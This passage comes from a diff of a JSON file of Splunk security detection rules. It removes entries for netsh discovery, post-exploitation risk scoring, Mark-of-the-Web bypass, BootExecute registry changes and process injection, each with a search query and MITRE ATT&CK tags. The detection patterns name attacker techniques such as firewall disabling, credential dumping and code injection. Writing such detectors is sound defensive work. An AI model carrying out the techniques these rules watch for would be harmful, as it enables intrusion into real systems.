`network_connection_discovery_with_netstat_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA22-277A", - "CISA AA23-347A", - "PlugX", - "Prestige Ransomware", - "Qakbot", - "Volt Typhoon", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Network Connection discovery on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Common Abused Cmd Shell Risk Behavior", - "description": "The following analytic identifies instances where four or more distinct detection analytics are associated with malicious command line behavior on a specific host. This detection leverages the Command Line Interface (CLI) data from various sources to identify suspicious activities. This behavior is significant as it often indicates attempts to execute malicious commands, access sensitive data, install backdoors, or perform other nefarious actions. If confirmed malicious, attackers could gain unauthorized control, exfiltrate information, escalate privileges, or launch further attacks within the network, leading to severe compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where source IN (\"*Cmdline Tool Not Executed In CMD Shell*\", \"*Windows System Network Config Discovery Display DNS*\", \"*Local Account Discovery With Wmic*\", \"*Net Localgroup Discovery*\", \"*Create local admin accounts using net exe*\", \"*Local Account Discovery with Net*\", \"*Icacls Deny Command*\", \"*ICACLS Grant Command*\", \"*Windows Proxy Via Netsh*\", \"*Processes launching netsh*\", \"*Disabling Firewall with Netsh*\", \"*Windows System Network Connections Discovery Netsh*\", \"*Network Connection Discovery With Arp*\", \"*Windows System Discovery Using ldap Nslookup*\", \"*Windows System Shutdown CommandLine*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_common_abused_cmd_shell_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Disabling Security Tools", - "FIN7", - "Netsh Abuse", - "Qakbot", - "Sandworm Tools", - "Volt Typhoon", - "Windows Defense Evasion Tactics", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "series of process commandline being abused by threat actor have been identified on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows System Network Connections Discovery Netsh", - "description": "The following analytic detects the execution of the Windows built-in tool netsh.exe to display the state, configuration, and profile of the host firewall. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. Monitoring this activity is crucial as netsh.exe can be used by adversaries to bypass firewall rules or discover firewall settings. If confirmed malicious, this activity could allow attackers to manipulate firewall configurations, potentially leading to unauthorized network access or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh`AND Processes.process = \"* show *\" Processes.process IN (\"*state*\", \"*config*\", \"*wlan*\", \"*profile*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_network_connections_discovery_netsh_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Snake Keylogger", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "netsh process with command line $process$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -441158,59 +303360,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Windows Mark Of The Web Bypass", - "description": "The following analytic identifies a suspicious process that deletes the Mark-of-the-Web (MOTW) data stream. It leverages Sysmon EventCode 23 to detect when a file's Zone.Identifier stream is removed. This activity is significant because it is a common technique used by malware, such as Ave Maria RAT, to bypass security restrictions on files downloaded from the internet. If confirmed malicious, this behavior could allow an attacker to execute potentially harmful files without triggering security warnings, leading to further compromise of the system.", - "search": "`sysmon` EventCode=23 TargetFilename = \"*:Zone.Identifier\" | stats min(_time) as firstTime max(_time) as lastTime count by user EventCode Image TargetFilename ProcessID dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_mark_of_the_web_bypass_filter`", - "tags": { - "analytic_story": [ - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A mark-of-the-web data stream is deleted on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.005", - "mitre_attack_technique": "Mark-of-the-Web Bypass", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "TA505" - ] - } - ] - } } ], "external_reference": [ @@ -443221,220 +305370,6 @@ "references": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90009" ] - }, - { - "name": "Windows BootLoader Inventory", - "description": "The following analytic identifies the bootloader paths on Windows endpoints. It leverages a PowerShell Scripted input to capture this data, which is then processed and aggregated using Splunk. Monitoring bootloader paths is significant for a SOC as it helps detect unauthorized modifications that could indicate bootkits or other persistent threats. If confirmed malicious, such activity could allow attackers to maintain persistence, bypass security controls, and potentially control the boot process, leading to full system compromise.", - "search": "`bootloader_inventory` | stats count min(_time) as firstTime max(_time) as lastTime values(_raw) by host | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_bootloader_inventory_filter`", - "tags": { - "analytic_story": [ - "BlackLotus Campaign", - "Windows BootKits" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A list of BootLoaders are present on $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1542.001", - "mitre_attack_technique": "System Firmware", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1542", - "mitre_attack_technique": "Pre-OS Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Registry BootExecute Modification", - "description": "The following analytic detects modifications to the BootExecute registry key, which manages applications and services executed during system boot. It leverages data from the Endpoint.Registry data model, focusing on changes to the registry path \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\BootExecute\". This activity is significant because unauthorized changes to this key can indicate attempts to achieve persistence, load malicious code, or tamper with the boot process. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary code at boot, or disrupt system operations.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path=\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\BootExecute\" BY _time span=1h Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid, Registry.action | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_registry_bootexecute_modification_filter`", - "tags": { - "analytic_story": [ - "Windows BootKits" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The Registry BootExecute value was modified on $dest$ and should be reviewed immediately.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1542", - "mitre_attack_technique": "Pre-OS Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Detect Software Download To Network Device", - "description": "The following analytic identifies unauthorized software downloads to network devices via TFTP, FTP, or SSH/SCP. It detects this activity by analyzing network traffic events on specific ports (69, 21, 22) from devices categorized as network, router, or switch. This activity is significant because adversaries may exploit netbooting to load unauthorized operating systems, potentially compromising network integrity. If confirmed malicious, this could lead to unauthorized control over network devices, enabling further attacks, data exfiltration, or persistent access within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where (All_Traffic.transport=udp AND All_Traffic.dest_port=69) OR (All_Traffic.transport=tcp AND All_Traffic.dest_port=21) OR (All_Traffic.transport=tcp AND All_Traffic.dest_port=22) AND All_Traffic.dest_category!=common_software_repo_destination AND All_Traffic.src_category=network OR All_Traffic.src_category=router OR All_Traffic.src_category=switch by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(\"All_Traffic\")` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_software_download_to_network_device_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1542.005", - "mitre_attack_technique": "TFTP Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1542", - "mitre_attack_technique": "Pre-OS Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -446600,247 +308535,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Windows Process Injection into Notepad", - "description": "The following analytic detects process injection into Notepad.exe using Sysmon EventCode 10. It identifies suspicious GrantedAccess requests (0x40 and 0x1fffff) to Notepad.exe, excluding common system paths like System32, Syswow64, and Program Files. This behavior is often associated with the SliverC2 framework by BishopFox. Monitoring this activity is crucial as it may indicate an initial payload attempting to execute malicious code within Notepad.exe. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment.", - "search": "`sysmon` EventCode=10 TargetImage IN (*\\\\notepad.exe) NOT (SourceImage IN (\"*\\\\system32\\\\*\",\"*\\\\syswow64\\\\*\",\"*\\\\Program Files\\\\*\")) GrantedAccess IN (\"0x40\",\"0x1fffff\") | stats count min(_time) as firstTime max(_time) as lastTime by dest SourceImage TargetImage GrantedAccess CallTrace | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_into_notepad_filter`", - "tags": { - "analytic_story": [ - "BishopFox Sliver Adversary Emulation Framework" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $SourceImage$ injecting into $TargetImage$ was identified on endpoint $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.002", - "mitre_attack_technique": "Portable Executable Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Gorgon Group", - "Rocke" - ] - } - ] - } - }, - { - "name": "Windows Process Injection Remote Thread", - "description": "The following analytic detects suspicious remote thread execution in processes such as Taskmgr.exe, calc.exe, and notepad.exe, which may indicate process injection by malware like Qakbot. This detection leverages Sysmon EventCode 8 to identify remote thread creation in specific target processes. This activity is significant as it often signifies an attempt by malware to inject malicious code into legitimate processes, potentially leading to unauthorized code execution. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence on the compromised host.", - "search": "`sysmon` EventCode=8 TargetImage IN (\"*\\\\Taskmgr.exe\", \"*\\\\calc.exe\", \"*\\\\notepad.exe\", \"*\\\\rdpclip.exe\", \"*\\\\explorer.exe\", \"*\\\\wermgr.exe\", \"*\\\\ping.exe\", \"*\\\\OneDriveSetup.exe\", \"*\\\\dxdiag.exe\", \"*\\\\mobsync.exe\", \"*\\\\msra.exe\", \"*\\\\xwizard.exe\",\"*\\\\cmd.exe\", \"*\\\\powershell.exe\") | stats count min(_time) as firstTime max(_time) as lastTime by TargetImage TargetProcessId SourceProcessId EventCode StartAddress SourceImage dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_remote_thread_filter`", - "tags": { - "analytic_story": [ - "Graceful Wipe Out Attack", - "Qakbot", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $SourceImage$ create a remote thread to process $TargetImage$ on host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.002", - "mitre_attack_technique": "Portable Executable Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Gorgon Group", - "Rocke" - ] - } - ] - } - }, - { - "name": "Windows Process Injection With Public Source Path", - "description": "The following analytic detects a process from a non-standard file path on Windows attempting to create a remote thread in another process. This is identified using Sysmon EventCode 8, focusing on processes not originating from typical system directories. This behavior is significant as it often indicates process injection, a technique used by adversaries to evade detection or escalate privileges. If confirmed malicious, this activity could allow an attacker to execute arbitrary code within another process, potentially leading to unauthorized actions and further compromise of the system.", - "search": "`sysmon` EventCode=8 TargetImage = \"*.exe\" AND NOT(SourceImage IN(\"C:\\\\Windows\\\\*\", \"C:\\\\Program File*\", \"%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage signature TargetProcessGuid SourceProcessGuid TargetProcessId SourceProcessId StartAddress EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_with_public_source_path_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "process $SourceImage$ create a remote thread to process $TargetImage$ on host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.002", - "mitre_attack_technique": "Portable Executable Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Gorgon Group", - "Rocke" - ] - } - ] - } } ], "external_reference": [ @@ -447136,66 +308830,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Verclsid CLSID Execution", - "description": "The following analytic detects the potential abuse of the verclsid.exe utility to execute malicious files via generated CLSIDs. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns associated with verclsid.exe. This activity is significant because verclsid.exe is a legitimate Windows application used to verify CLSID COM objects, and its misuse can indicate an attempt to bypass security controls. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, potentially leading to system compromise or further malicious activities.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) 